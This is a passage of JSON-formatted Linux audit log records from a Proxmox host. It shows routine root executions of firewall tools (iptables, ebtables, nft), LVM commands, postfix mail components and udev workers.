name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.680:63761): arch=c000003e syscall=59 success=yes exit=0 a0=630368be1380 a1=630368be16d0 a2=630368bdc8f0 a3=0 items=2 ppid=1137 pid=61175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"trivial-rewrite\" exe=\"/usr/lib/postfix/sbin/trivial-rewrite\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.936:69079): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385384,"@rawstring":"node=pve type=PATH msg=audit(1781966385.384:69493): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.670:63760): arch=c000003e syscall=59 success=yes exit=0 a0=630368be0720 a1=630368be0d00 a2=630368bdc8f0 a3=0 items=2 ppid=1137 pid=61174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"cleanup\" exe=\"/usr/lib/postfix/sbin/cleanup\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.936:69078): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385384,"@rawstring":"node=pve type=PATH msg=audit(1781966385.384:69493): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.663:63759): arch=c000003e syscall=59 success=yes exit=0 a0=5886000ca2f0 a1=5886000ca320 a2=5886000c8a50 a3=60 items=2 ppid=61172 pid=61173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=105 sgid=105 fsgid=105 tty=(none) ses=4294967295 comm=\"postdrop\" exe=\"/usr/sbin/postdrop\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.936:69077): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385378,"@rawstring":"node=pve type=PATH msg=audit(1781966385.378:69492): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.657:63758): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcb2cc0 a1=620c1dcab330 a2=620c17225c10 a3=8 items=2 ppid=61149 pid=61172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sendmail\" exe=\"/usr/sbin/sendmail\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.930:69076): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385378,"@rawstring":"node=pve type=PATH msg=audit(1781966385.378:69492): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.644:63757): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4090 a1=620c1dca6170 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"cp\" exe=\"/usr/bin/cp\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.930:69075): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385372,"@rawstring":"node=pve type=PATH msg=audit(1781966385.372:69491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.516:63755): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dca6800 a1=620c1dc77260 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"kvm\" exe=\"/usr/bin/qemu-system-x86_64\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.930:69074): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385372,"@rawstring":"node=pve type=PATH msg=audit(1781966385.372:69491): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.479:63754): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc69d40 a1=620c1dca2210 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.344:69073): proctitle=\"ebtables-restore\""} {"@timestamp":1781966385365,"@rawstring":"node=pve type=PATH msg=audit(1781966385.365:69490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038454,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.454:63753): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dca6a40 a1=620c1dca8760 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.341:69072): proctitle=\"ebtables-restore\""} {"@timestamp":1781966385365,"@rawstring":"node=pve type=PATH msg=audit(1781966385.365:69490): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.413:63752): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc6c130 a1=620c1dca0950 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61165 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.337:69071): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966384394,"@rawstring":"node=pve type=PATH msg=audit(1781966384.394:69489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.397:63751): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18a99e0 a1=5b65b1856450 a2=5b65b184de70 a3=0 items=2 ppid=61158 pid=61164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"dmsetup\" exe=\"/usr/sbin/dmsetup\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.333:69070): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966384394,"@rawstring":"node=pve type=PATH msg=audit(1781966384.394:69489): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.396:63750): arch=c000003e syscall=280 success=yes exit=0 a0=13 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.333:69069): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966384362,"@rawstring":"node=pve type=PATH msg=audit(1781966384.362:69488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.395:63749): arch=c000003e syscall=280 success=yes exit=0 a0=13 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.333:69068): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966384362,"@rawstring":"node=pve type=PATH msg=audit(1781966384.362:69488): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.393:63748): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1835a30 a1=5b65b18566e0 a2=5b65b18cbc00 a3=0 items=3 ppid=61158 pid=61163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vdev_id\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.329:69067): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966381415,"@rawstring":"node=pve type=PATH msg=audit(1781966381.415:69487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.387:63747): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18419f0 a1=5b65b18481e0 a2=5b65b1883b00 a3=0 items=2 ppid=61158 pid=61162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"dmsetup\" exe=\"/usr/sbin/dmsetup\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245323,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.323:69066): proctitle=697073657400726573746F7265"} {"@timestamp":1781966381415,"@rawstring":"node=pve type=PATH msg=audit(1781966381.415:69487): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038384,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.384:63746): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1836fe0 a1=5b65b18419f0 a2=5b65b1868340 a3=0 items=2 ppid=61158 pid=61161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"dmsetup\" exe=\"/usr/sbin/dmsetup\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.317:69065): proctitle=69707365740073617665"} {"@timestamp":1781966381415,"@rawstring":"node=pve type=PATH msg=audit(1781966381.415:69486): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.383:63745): arch=c000003e syscall=280 success=yes exit=0 a0=13 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966245311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.311:69064): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966381414,"@rawstring":"node=pve type=PATH msg=audit(1781966381.414:69485): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.383:63744): arch=c000003e syscall=280 success=yes exit=0 a0=13 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966245304,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.304:69063): proctitle=\"ip6tables-save\""} {"@timestamp":1781966381408,"@rawstring":"node=pve type=PATH msg=audit(1781966381.408:69484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.381:63743): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1866c30 a1=5b65b17f4620 a2=5b65b1836f20 a3=0 items=2 ppid=61157 pid=61159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nfsrahead\" exe=\"/usr/libexec/nfsrahead\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.299:69062): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966381408,"@rawstring":"node=pve type=PATH msg=audit(1781966381.408:69484): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.381:63742): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1866c30 a1=5b65b17f4620 a2=5b65b1868340 a3=0 items=3 ppid=61158 pid=61160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vdev_id\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.293:69061): proctitle=\"iptables-save\""} {"@timestamp":1781966381408,"@rawstring":"node=pve type=PATH msg=audit(1781966381.408:69483): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.357:63741): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4320 a1=620c1dca1020 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvchange\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245288,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.288:69060): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966381408,"@rawstring":"node=pve type=PATH msg=audit(1781966381.408:69482): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038315,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.315:63740): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc77260 a1=620c1dbfac40 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.286:69059): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966381362,"@rawstring":"node=pve type=PATH msg=audit(1781966381.362:69481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.274:63739): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc8cbc0 a1=620c1dca0fc0 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.279:69058): proctitle=\"ip6tables-save\""} {"@timestamp":1781966381362,"@rawstring":"node=pve type=PATH msg=audit(1781966381.362:69481): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.236:63738): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4320 a1=620c1dc8d2f0 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"df\" exe=\"/usr/bin/df\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.274:69057): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966381362,"@rawstring":"node=pve type=PATH msg=audit(1781966381.362:69480): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.226:63736): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4340 a1=620c1dc70710 a2=620c17225c10 a3=b items=2 ppid=61149 pid=61151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ionice\" exe=\"/usr/bin/ionice\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.268:69056): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966381362,"@rawstring":"node=pve type=PATH msg=audit(1781966381.362:69480): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.566:63734): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245260,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966245.260:69055): proctitle=\"iptables-save\""} {"@timestamp":1781966381360,"@rawstring":"node=pve type=PATH msg=audit(1781966381.360:69479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.558:63731): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966244.797:69054): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966381360,"@rawstring":"node=pve type=PATH msg=audit(1781966381.360:69479): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036037,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.037:63728): arch=c000003e syscall=59 success=yes exit=0 a0=5bc225573d70 a1=5bc22557ff40 a2=5bc22554d680 a3=5 items=2 ppid=61137 pid=61143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966244.773:69053): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966376396,"@rawstring":"node=pve type=PATH msg=audit(1781966376.396:69478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.034:63727): arch=c000003e syscall=59 success=yes exit=0 a0=5bc2018adac8 a1=7ffe6b84a210 a2=5bc22554d680 a3=5bc20189124e items=2 ppid=61137 pid=61139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966240.919:69052): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966376396,"@rawstring":"node=pve type=PATH msg=audit(1781966376.396:69478): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.033:63726): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe6b84a1d0 a1=5bc22556f410 a2=5bc22554d680 a3=5 items=2 ppid=61137 pid=61138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966240.919:69051): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966376396,"@rawstring":"node=pve type=PATH msg=audit(1781966376.396:69477): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.029:63724): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966240.919:69050): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966376396,"@rawstring":"node=pve type=PATH msg=audit(1781966376.396:69476): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965036021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965036.021:63723): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 